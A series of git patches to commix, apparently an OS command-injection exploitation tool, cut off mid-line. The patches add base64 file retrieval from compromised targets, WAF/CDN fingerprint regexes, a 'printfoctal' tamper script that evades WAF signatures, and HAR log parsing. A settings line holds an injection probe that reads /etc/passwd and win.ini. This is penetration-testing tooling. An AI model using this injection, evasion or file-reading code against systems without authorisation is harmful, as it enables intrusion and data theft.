"Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "223" +REVISION = "224" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -2195,6 +2190,13 @@ class END_LINE: """ LAST_ANNOUNCED_REQUESTS = 0 +""" +The technique whose title has already been said a second time. A technique that stops to ask +something more than once would otherwise announce itself again on every resume, turning one line +into a column of identical ones. +""" +LAST_RESUMED_TECHNIQUE = None + # The output file last announced, so the same one is not announced again for every separator tried. LAST_ANNOUNCED_OUTPUT_FILE = None From 180294406597691a18e6125ae5d8ed6cdeaa00ae Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 17 Oct 2026 07:58:17 +0300 Subject: [PATCH 0896/1023] Added "base64" file retrieval with falling back to plain reads when unavailable. --- src/core/controller/checks.py | 29 +++++++++++++++++++++++++++++ src/core/controller/file_access.py | 8 +++++++- src/utils/settings.py | 2 +- 3 files changed, 37 insertions(+), 2 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index cda4d0db4a..97332db94b 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -5569,6 +5569,35 @@ def download_file_bytes(execute_cmd, remote_file): except Exception: return None, True +""" +A file's exact contents, fetched as base64 so that nothing the page does to whitespace can reach +them - or (None, False) where the target cannot produce it, leaving the plain read to be tried. + +Only where the whole answer arrives at once. A technique that reads a byte at a time pays for every +one of them, and base64 is a third longer than what it carries. +""" +def file_read_encoded(execute_cmd, file_to_read): + if settings.CURRENT_TECHNIQUE not in (settings.INJECTION_TECHNIQUE.RESULTS_BASED, settings.INJECTION_TECHNIQUE.DYNAMIC_CODE): + return None, False + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_FILE_READ_B64 + file_to_read.replace("\\", "\\\\") + "'))\"" + else: + cmd = settings.FILE_READ_B64 + quoted_cmd(file_to_read) + try: + encoded, fresh = execute_cmd(cmd) + except Exception: + return None, False + if not encoded: + return None, False + try: + content = base64.b64decode("".join(str(encoded).split()), validate=True) + except Exception: + return None, False + try: + return content.decode(settings.DEFAULT_CODEC), fresh + except UnicodeDecodeError: + return content.decode(settings.DEFAULT_CODEC, "replace"), fresh + """ Download a file from the target host to the local machine ("download <remote> <local>"). """ diff --git a/src/core/controller/file_access.py b/src/core/controller/file_access.py index 775d99ec92..253716fb24 100755 --- a/src/core/controller/file_access.py +++ b/src/core/controller/file_access.py @@ -85,7 +85,13 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, not checks.file_readable(separator, timesec, http_request_method, url, vuln_parameter, whitespace, prefix, suffix, url_time_response, file_to_read, technique): shell, fresh = "", False else: - shell, fresh = execute_cmd(cmd) + # Asked for as base64 first, and read plainly only where the target cannot produce it. What a + # page does to a command's output - runs of whitespace folded into one, every newline among + # them - leaves a file that cannot be put back together; the encoded form has none of those + # characters in it, so the bytes arrive as they are on disk. + shell, fresh = checks.file_read_encoded(execute_cmd, file_to_read) + if shell is None: + shell, fresh = execute_cmd(cmd) if settings.TIME_RELATED_ATTACK: if settings.VERBOSITY_LEVEL == 0 and fresh and len(shell) != 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) diff --git a/src/utils/settings.py b/src/utils/settings.py index 237a313b4a..1354deddef 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "224" +REVISION = "225" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ebb60c1f426c21d49191eeea6f90437856a4b4a9 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 17 Oct 2026 08:15:05 +0300 Subject: [PATCH 0897/1023] Added WAF/CDN fingerprinting for blocked responses --- src/core/controller/checks.py | 26 ++++++++++++++++--- src/core/requests/headers.py | 1 + src/core/requests/requests.py | 2 +- .../techniques/boolean_based/bb_injector.py | 1 + src/utils/settings.py | 21 ++++++++++++++- 5 files changed, 46 insertions(+), 5 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 97332db94b..b89bc25884 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -86,15 +86,35 @@ def persist_waf_finding(): from src.utils import session_handler session_handler.import_waf_status(settings.TARGET_NETLOC, True) +""" +Matches a blocked response's headers and body against known WAF/CDN product signatures, so the +target can be named rather than spoken of in general terms. Tried once, the first time a block is +seen - 'detect_waf' only reaches here before 'settings.WAF_ENABLED' is set. +""" +def identify_waf(err): + try: + blob = str(getattr(err, "headers", "")) + str(err.read()) + except Exception: + return None + for name, regex in settings.WAF_SIGNATURES.items(): + if re.search(regex, blob): + return name + return None + """ Flags the target as WAF/IPS-protected on a block-like HTTP status code. """ -def detect_waf(err_code): +def detect_waf(err): + err_code = getattr(err, "code", None) if str(err_code) in settings.WAF_BLOCK_HTTP_CODES and \ not menu.options.skip_waf and \ not settings.HOST_INJECTION: if not settings.WAF_ENABLED: - warn_msg = "It seems some kind of WAF/IPS is protecting the target." + settings.WAF_IDENTIFIED = identify_waf(err) + if settings.WAF_IDENTIFIED: + warn_msg = "'" + settings.WAF_IDENTIFIED + "' is protecting the target." + else: + warn_msg = "It seems some kind of WAF/IPS is protecting the target." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.WAF_ENABLED = True persist_waf_finding() @@ -1987,7 +2007,7 @@ def continue_tests(err): # Possible WAF/IPS try: - detect_waf(err.code) + detect_waf(err) if int(err.code) not in settings.WARNED_HTTP_ERROR_CODES: warn_msg = "The web server responded with an HTTP error code '" + http_error_code_label(err.code, err) warn_msg += "' which could interfere with the results of the tests." diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 5a008720d6..d3cc9afcef 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -707,6 +707,7 @@ def do_check(request): if not checks.get_header(request.headers, settings.ACCEPT): request.add_header(settings.ACCEPT, settings.ACCEPT_VALUE) + if not checks.get_header(request.headers, settings.CONTENT_TYPE): request.add_unredirected_header(settings.CONTENT_TYPE, settings.DEFAULT_HTTP_CONTENT_TYPE_VALUE) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 616c9329c0..779f3e2ffe 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -626,7 +626,7 @@ def request_failed(err_msg): error_msg += "status code received." elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): error_msg = "Connection was forcibly closed by the target URL." - elif checks.detect_waf(getattr(err_msg, "code", None)): + elif checks.detect_waf(err_msg): if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): return False return True diff --git a/src/core/techniques/boolean_based/bb_injector.py b/src/core/techniques/boolean_based/bb_injector.py index ef9ef05328..635806de26 100644 --- a/src/core/techniques/boolean_based/bb_injector.py +++ b/src/core/techniques/boolean_based/bb_injector.py @@ -14,6 +14,7 @@ """ from src.core.requests import requests +from src.utils import settings from src.core.controller import checks """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 1354deddef..9e79f21781 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "225" +REVISION = "226" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -586,6 +586,8 @@ def payload_safe_chars(): # Sent to be blocked, never to run: read-only and instant, in both shells, chained every way. WAF_CHECK_PAYLOAD = ";cat /etc/passwd|type C:\\Windows\\win.ini&&dir ../../||$(cat /etc/passwd)" WAF_ENABLED = False +# The product name a blocked response was matched to, via 'WAF_SIGNATURES' - None until (if ever) found. +WAF_IDENTIFIED = None class HEURISTIC_TEST(object): POSITIVE = True @@ -2042,6 +2044,23 @@ class PRIORITY(object): SERVICE_UNAVAILABLE ] +# Server header / cookie name / block-page body fingerprints for common WAF/CDN products, checked +# against the first blocked response seen; a response matching none of them falls back to the +# generic "some kind of WAF/IPS" wording instead of naming one. +WAF_SIGNATURES = { + "Cloudflare": r"(?i)cloudflare|cf-ray|__cfduid|cf_clearance", + "Akamai": r"(?i)akamaighost|ak_bmsc|reference\s*#\d+\.[0-9a-f]+", + "Imperva Incapsula": r"(?i)incapsula|incap_ses|visid_incap", + "F5 BIG-IP ASM": r"(?i)big-?ip|bigipserver|the requested url was rejected", + "Sucuri": r"(?i)sucuri", + "ModSecurity": r"(?i)mod_security|owasp[_ ]core[_ ]rule[_ ]set", + "FortiWeb": r"(?i)fortiweb|fortiwafsid", + "Citrix Application Firewall": r"(?i)citrix application firewall|ns_af=", + "Barracuda WAF": r"(?i)barracuda|barra_counter_session", + "Wallarm": r"(?i)wallarm", + "AWS WAF": r"(?i)aws waf|x-amzn-waf" + } + HTTP_ERROR_CODES_SUM = [] # Statuses a gateway gives about itself rather than about the request, so the same request put to From 7689a7e9204f1b61b343ce12a60c3f17e7f318ec Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 17 Oct 2026 08:16:36 +0300 Subject: [PATCH 0898/1023] Various fixes, improvements, and updates for https://github.com/commixproject/commix/commit/ebb60c1f426c21d49191eeea6f90437856a4b4a9 --- src/core/controller/checks.py | 34 ++++++++++++++++++++++------------ src/utils/settings.py | 2 +- 2 files changed, 23 insertions(+), 13 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index b89bc25884..afdd5df15a 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -96,8 +96,15 @@ def identify_waf(err): blob = str(getattr(err, "headers", "")) + str(err.read()) except Exception: return None + return identify_waf_in_text(blob) + +""" +Matches text (a response body, or a blocked response's headers-and-body) against known WAF/CDN +product signatures, from 'settings.WAF_SIGNATURES'. +""" +def identify_waf_in_text(text): for name, regex in settings.WAF_SIGNATURES.items(): - if re.search(regex, blob): + if re.search(regex, text or ""): return name return None @@ -1608,6 +1615,17 @@ def parse_errors(page): warn_msg = "Parsed error message from the target's response: '" + message + "'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) +""" +Appends the WAF/CDN product name identified in 'page' (if any) to a warning message that already +ends in '.', as " ('<name>')." in its place - unidentified, the message is left as it stands. +""" +def _name_waf_in(message, page): + waf_name = settings.WAF_IDENTIFIED or identify_waf_in_text(page) + if waf_name: + settings.WAF_IDENTIFIED = waf_name + message = message[:-1] + " ('" + waf_name + "')." + return message + """ Checks regarding a recognition of generic "your ip has been blocked" messages. """ @@ -1616,7 +1634,7 @@ def blocked_ip(page): settings.BLOCKED_IP_DETECTED = True settings.WAF_ENABLED = True persist_waf_finding() - warn_msg = "It appears the target server has blocked you." + warn_msg = _name_waf_in("It appears the target server has blocked you.", page) settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) """ @@ -1627,11 +1645,7 @@ def browser_verification(page): settings.BROWSER_VERIFICATION = True settings.WAF_ENABLED = True persist_waf_finding() - warn_msg = "Potential browser verification protection mechanism detected" - if re.search(r"(?i)CloudFlare", page): - warn_msg += " (CloudFlare)." - else: - warn_msg += "." + warn_msg = _name_waf_in("Potential browser verification protection mechanism detected.", page) settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) """ @@ -1644,11 +1658,7 @@ def captcha_check(page): settings.CAPTCHA_DETECED = True settings.WAF_ENABLED = True persist_waf_finding() - warn_msg = "Potential CAPTCHA protection mechanism detected" - if re.search(r"(?i)<title>[^<]*CloudFlare", page): - warn_msg += " (CloudFlare)." - else: - warn_msg += "." + warn_msg = _name_waf_in("Potential CAPTCHA protection mechanism detected.", page) if settings.CRAWLING: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 9e79f21781..5447c18dbc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "226" +REVISION = "227" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d1714209002bf61a5ebbdd72df2454cf788ec4f8 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 17 Oct 2026 08:19:16 +0300 Subject: [PATCH 0899/1023] Fixed cookie injection handling and skip token refresh for auxiliary requests --- src/core/controller/checks.py | 12 ++++++++++-- src/core/requests/anticsrf.py | 23 ++++++++++++++++++++++- src/utils/settings.py | 2 +- 3 files changed, 33 insertions(+), 4 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index afdd5df15a..6605a266cb 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -525,7 +525,7 @@ def check_http_method(url): else: if settings.COOKIE_INJECTION: http_request_method = settings.COOKIE - if settings.USER_DEFINED_POST_DATA: + elif settings.USER_DEFINED_POST_DATA: http_request_method = settings.HTTPMETHOD.POST else: http_request_method = settings.HTTPMETHOD.GET @@ -6184,7 +6184,15 @@ def technique_display_name(technique): Record a newly-identified injectable finding to the log file and terminal - the shared tail of identified_vulnerable_param() above, reusable by modules (see shellshock.py) with their own header_name/the_type. """ def announce_vulnerable_finding(filename, injection_type, technique, the_type, header_name, http_request_method, vuln_parameter, payload, counter, type_prefix="", decode_payload=True, title=None): - display_method = "HTTP Header" if "header" in the_type.lower() else http_request_method + # A Cookie finding is still sent over a real GET/POST on the wire - 'http_request_method' is that + # verb, not what to call the finding. Only a plain GET/POST parameter has no 'header_name' of its + # own and is left to that verb; a header finding already took the branch above. + if "header" in the_type.lower(): + display_method = "HTTP Header" + elif header_name.strip(): + display_method = header_name.strip() + else: + display_method = http_request_method logs.add_finding(filename, injection_type, technique, display_method, vuln_parameter, payload, title) if not settings.LOAD_SESSION: diff --git a/src/core/requests/anticsrf.py b/src/core/requests/anticsrf.py index 5f97e164d7..b47bfd9dc0 100644 --- a/src/core/requests/anticsrf.py +++ b/src/core/requests/anticsrf.py @@ -118,6 +118,27 @@ def adjust_header(raw, name, value): # Anchored at the start of a header, which in a string of them is written out as an escaped newline. return re.sub(r"(?i)((?:\A|[\r\n]|\\n)\s*" + re.escape(name) + r"\s*:\s*)[^\\\r\n]*", lambda match: match.group(1) + value, raw) +""" +Whether this request currently carries the configured token parameter anywhere 'apply_token' would +write it back - the query string, the body, the cookie, or a header of its own. An auxiliary request +the run makes on its own (document-root discovery, a '--safe-url' check...) carries none of these, +and 'adjust_parameter'/'adjust_header' would leave it untouched anyway, so there is nothing here for +a fresh token to be fetched for. +""" +def _carries_token(request): + name = re.escape(settings.CSRF_TOKEN) + parts = request.full_url.split("?", 1) + if len(parts) == 2 and re.search(r"(?i)\b" + name + r"\s*=", parts[1]): + return True + if request.data and re.search(r"(?i)\b" + name + r"\s*=", request.data.decode(settings.DEFAULT_CODEC, errors="replace")): + return True + if menu.options.cookie and re.search(r"(?i)(?:\A|;\s*)[^=;\s]*" + name + r"[^=;\s]*=", menu.options.cookie): + return True + for header_name in list(request.headers) + list(request.unredirected_hdrs): + if header_name.lower() == settings.CSRF_TOKEN.lower(): + return True + return False + """ Put a freshly fetched token into the request that is about to be sent. @@ -125,7 +146,7 @@ def adjust_header(raw, name, value): the cookie - which is also where it is read from, for a target that hands it back that way. """ def apply_token(request): - if not settings.CSRF_TOKEN or settings.FETCHING_CSRF_TOKEN: + if not settings.CSRF_TOKEN or settings.FETCHING_CSRF_TOKEN or not _carries_token(request): return settings.FETCHING_CSRF_TOKEN = True try: diff --git a/src/utils/settings.py b/src/utils/settings.py index 5447c18dbc..41f324f5b1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "227" +REVISION = "228" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d4eca095fe4f3817a496c380b83f177a22b51a90 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 17 Oct 2026 08:21:43 +0300 Subject: [PATCH 0900/1023] Update CHANGELOG.md --- doc/CHANGELOG.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 819d554f94..21175ff058 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,7 @@ ## Version 4.2 (TBA) +* Fixed: `--csrf-token` without `--csrf-url` crashing the run (discarding already-confirmed findings) whenever an auxiliary request, such as document-root discovery, didn't carry the token. +* Fixed: Cookie-based findings being reported as `(GET)`/`(POST)` instead of `(Cookie)` in the summary. +* Added: WAF/CDN product identification (`Cloudflare`, `Akamai`, `Imperva Incapsula`, `F5 BIG-IP ASM`, `Sucuri`, `ModSecurity`, `FortiWeb`, `Citrix Application Firewall`, `Barracuda WAF`, `Wallarm`, `AWS WAF`) on a blocked response, named in the "blocked IP", "browser verification" and "CAPTCHA" warnings as well as the generic WAF/IPS one. * Added: New `commixapi.py` for driving runs over a REST API, as a server or a client, each scan a task of its own with its options, status, results and log. * Added: New option `-z` for naming options by as much of their name as tells them apart (e.g. `-z "flu,bat,tec=rt"`). * Added: New switch `--dependencies` for reporting which of the third-party libraries and tools each option needs are installed on this host. From 287fb3dc99ff0c720cd1e5327ddb9819d8f5c5b8 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 17 Oct 2026 08:30:09 +0300 Subject: [PATCH 0901/1023] Added new tamper script `printfoctal.py`, hiding command names/paths via `printf` octal escapes (`$(printf '\143\141\164')`), for shells lacking `ansiquote`/`ansiquoteoctal`'s ANSI-C quoting (e.g. `dash`) --- doc/CHANGELOG.md | 2 +- src/tamper/printfoctal.py | 72 +++++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 12 ++++++- 3 files changed, 84 insertions(+), 2 deletions(-) create mode 100644 src/tamper/printfoctal.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 21175ff058..3af2cf19ed 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,6 +1,6 @@ ## Version 4.2 (TBA) +* Added: New tamper script `printfoctal.py`, hiding command names/paths via `printf` octal escapes (`$(printf '\143\141\164')`), for shells lacking `ansiquote`/`ansiquoteoctal`'s ANSI-C quoting (e.g. `dash`). * Fixed: `--csrf-token` without `--csrf-url` crashing the run (discarding already-confirmed findings) whenever an auxiliary request, such as document-root discovery, didn't carry the token. -* Fixed: Cookie-based findings being reported as `(GET)`/`(POST)` instead of `(Cookie)` in the summary. * Added: WAF/CDN product identification (`Cloudflare`, `Akamai`, `Imperva Incapsula`, `F5 BIG-IP ASM`, `Sucuri`, `ModSecurity`, `FortiWeb`, `Citrix Application Firewall`, `Barracuda WAF`, `Wallarm`, `AWS WAF`) on a blocked response, named in the "blocked IP", "browser verification" and "CAPTCHA" warnings as well as the generic WAF/IPS one. * Added: New `commixapi.py` for driving runs over a REST API, as a server or a client, each scan a task of its own with its options, status, results and log. * Added: New option `-z` for naming options by as much of their name as tells them apart (e.g. `-z "flu,bat,tec=rt"`). diff --git a/src/tamper/printfoctal.py b/src/tamper/printfoctal.py new file mode 100644 index 0000000000..32ad17f14f --- /dev/null +++ b/src/tamper/printfoctal.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Rewrites the command names and paths in a given payload as a command substitution of printf's own octal escapes ($(printf '\143\141\164')). +Notes: Unlike 'ansiquote'/'ansiquoteoctal', this needs nothing a strict POSIX shell (e.g. 'dash', + the '/bin/sh' of most Debian/Ubuntu targets) does not already have - no ANSI-C quoting, just + "$()" and a "printf" whose octal escapes POSIX itself requires. +References: [1] https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md +""" + +__tamper__ = "printfoctal" +__priority__ = settings.PRIORITY.HIGH + +def dependencies(): + """ + Why this script cannot be applied to the target at hand, or nothing where it can. + + The escapes are the whole point of the script, and an evaluated string is read by the language + doing the evaluating before ever reaching a shell - which spends '\\143' itself, leaving the + shell (which never runs) a payload that says something else. + """ + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +# A word worth hiding: a command name or a path, which is what a signature is written against. +PRINTF_OCTAL_WORD = r"(?<![\w$'\"\\{#=/.-])(/?[A-Za-z][\w.-]*(?:/[\w.-]+)*|/[\w.-]+(?:/[\w.-]+)*)(?![\w=.'\"-])" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def _printf_octal(match): + """ + One word written as the "$(printf ...)" the shell runs and reads back as that word, or left as + it was. + + A word the shell has to read exactly as it was written is left alone, for the reason + 'tamper_word_kept' gives. Nothing else here needs to survive being spelled differently, because + the substitution runs and is replaced before anything reads the word. + """ + word = match.group(0) + if checks.tamper_word_kept(word, match.string[:match.start()]): + return word + return "$(printf '" + "".join("\\%03o" % ord(char) for char in word) + "')" + +# Every command name and path in one span of shell code, written as a printf octal substitution. +def _printf_octal_words(text, nested): + return re.sub(PRINTF_OCTAL_WORD, _printf_octal, text) + +# Hand the words over as a printf substitution, for the target's shell to run and read back as the words they were. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' has no command substitution of this kind. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + return checks.tamper_shell_spans(payload, _printf_octal_words) + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 41f324f5b1..0a915b803d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "228" +REVISION = "229" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1834,6 +1834,7 @@ class AUTH_TYPE(object): "space2brace": False, "ansiquote": False, "ansiquoteoctal": False, + "printfoctal": False, "space2ifsraw": False, "unicodequote": False, "cmd2wildcard": False, @@ -1947,10 +1948,19 @@ class PRIORITY(object): ("ansiquoteoctal", "dollarstars"), ("ansiquoteoctal", "singlequotes"), ("ansiquoteoctal", "uninitializedvariable"), + # A third encoding of the same words, over the same characters. + ("printfoctal", "ansiquote"), + ("printfoctal", "ansiquoteoctal"), + ("printfoctal", "backslashes"), + ("printfoctal", "dollaratsigns"), + ("printfoctal", "dollarstars"), + ("printfoctal", "singlequotes"), + ("printfoctal", "uninitializedvariable"), # A literal "'" is the delimiter both scripts need - one is quoting with it, the # other is folding it away into a character no delimiter is read from. ("ansiquote", "unicodequote"), ("ansiquoteoctal", "unicodequote"), + ("printfoctal", "unicodequote"), ("singlequotes", "unicodequote"), # "''" is literal inside the double-quoted "tr" ranges that "randomcase" builds. ("randomcase", "singlequotes"), From b94bb473565d8cffed35cd5eb3c5d6c3fcceaf14 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 18 Oct 2026 09:29:59 +0300 Subject: [PATCH 0902/1023] Added `-l`/`--logfile` now also reads a HAR export (the format `--har` itself writes to), alongside the proxy-log and XML-history formats it already read --- doc/CHANGELOG.md | 1 + src/core/parse/cmdline.py | 2 +- src/core/parse/request.py | 46 +++++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 2 +- 4 files changed, 49 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 3af2cf19ed..383582c7a2 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: `-l`/`--logfile` now also reads a HAR export (the format `--har` itself writes to), alongside the proxy-log and XML-history formats it already read. * Added: New tamper script `printfoctal.py`, hiding command names/paths via `printf` octal escapes (`$(printf '\143\141\164')`), for shells lacking `ansiquote`/`ansiquoteoctal`'s ANSI-C quoting (e.g. `dash`). * Fixed: `--csrf-token` without `--csrf-url` crashing the run (discarding already-confirmed findings) whenever an auxiliary request, such as document-root discovery, didn't carry the token. * Added: WAF/CDN product identification (`Cloudflare`, `Akamai`, `Imperva Incapsula`, `F5 BIG-IP ASM`, `Sucuri`, `ModSecurity`, `FortiWeb`, `Citrix Application Firewall`, `Barracuda WAF`, `Wallarm`, `AWS WAF`) on a blocked response, named in the "blocked IP", "browser verification" and "CAPTCHA" warnings as well as the generic WAF/IPS one. diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 8ad10b0932..263a4ed0d0 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -215,7 +215,7 @@ def banner(): target.add_option("-l", dest="logfile", - help="Parse target from HTTP proxy log file.") + help="Parse target from HTTP proxy log file (or HAR export).") target.add_option("-m", dest="bulkfile", diff --git a/src/core/parse/request.py b/src/core/parse/request.py index 1af11edb6d..fa9d84f64e 100755 --- a/src/core/parse/request.py +++ b/src/core/parse/request.py @@ -43,10 +43,56 @@ def _invalid_data(request_file): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) +""" +Every entry of a HAR (HTTP Archive) export, rebuilt as the raw request text '_parse_request' +already reads - the format Chrome, Firefox and Burp all export traffic as, and the one '--har' +writes a run's own traffic to, but had no way back in until now. +""" +def _parse_har(content): + try: + document = json.loads(content) + except ValueError: + return None + entries = document.get("log", {}).get("entries") if isinstance(document, dict) else None + if not isinstance(entries, list): + return None + + requests = [] + for entry in entries: + req = entry.get("request") if isinstance(entry, dict) else None + if not isinstance(req, dict) or not req.get("url") or not req.get("method"): + continue + parsed_url = _urllib.parse.urlparse(req["url"]) + path = parsed_url.path or "/" + if parsed_url.query: + path += "?" + parsed_url.query + + lines = [req["method"] + " " + path + " HTTP/1.1"] + host_present = False + for header in req.get("headers") or []: + name, value = header.get("name", ""), header.get("value", "") + if not name: + continue + if name.lower() == settings.HOST.lower(): + host_present = True + lines.append(name + ": " + value) + if not host_present: + lines.append(settings.HOST + ": " + parsed_url.netloc) + + body = ((req.get("postData") or {}).get("text") or "") + requests.append(settings.END_LINE.LF.join(lines) + settings.END_LINE.LF + settings.END_LINE.LF + body) + return requests + """ Split the content of a request / proxy log file into the single requests it holds. """ def _split_requests(content): + # A HAR export is JSON through and through, so it is told apart from the rest before any of the + # text-based formats below get a chance to misread it. + har_requests = _parse_har(content) + if har_requests is not None: + return har_requests + # A proxy log export delimits its entries with rows of '=', responses among them. if re.search(settings.PROXY_LOG_REQUEST_REGEX, content, re.I | re.S): # Only blocks opening on a method token are requests, which leaves the responses out. diff --git a/src/utils/settings.py b/src/utils/settings.py index 0a915b803d..ad0d238a8f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "229" +REVISION = "230" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 39b5c94092c3a521e147b13f2e995bdb1d6d183e Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 18 Oct 2026 10:09:51 +0300 Subject: [PATCH 0903/1023] Fixed `--skip-static` could mark a genuinely injectable parameter as static and skip it, against a target whose response is never byte-identical twice (e.g. a live `ping`) --- doc/CHANGELOG.md | 1 + src/core/controller/controller.py | 2 +- src/core/requests/requests.py | 24 ++++++++++++++++++++++++ src/utils/settings.py | 2 +- 4 files changed, 27 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 383582c7a2..27155b165e 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: `--skip-static` could mark a genuinely injectable parameter as static and skip it, against a target whose response is never byte-identical twice (e.g. a live `ping`). * Added: `-l`/`--logfile` now also reads a HAR export (the format `--har` itself writes to), alongside the proxy-log and XML-history formats it already read. * Added: New tamper script `printfoctal.py`, hiding command names/paths via `printf` octal escapes (`$(printf '\143\141\164')`), for shells lacking `ansiquote`/`ansiquoteoctal`'s ANSI-C quoting (e.g. `dash`). * Fixed: `--csrf-token` without `--csrf-url` crashing the run (discarding already-confirmed findings) whenever an auxiliary request, such as document-root discovery, didn't carry the token. diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index bde4f68021..f5476cdb1c 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -730,7 +730,7 @@ def _body(value): return changed = difflib.SequenceMatcher(None, real_body, placeholder_body).ratio() - if changed >= min(noise, settings.STABILITY_SIMILARITY_THRESHOLD): + if changed >= max(noise, settings.STABILITY_SIMILARITY_THRESHOLD): warn_msg = param_label + " does not appear to be 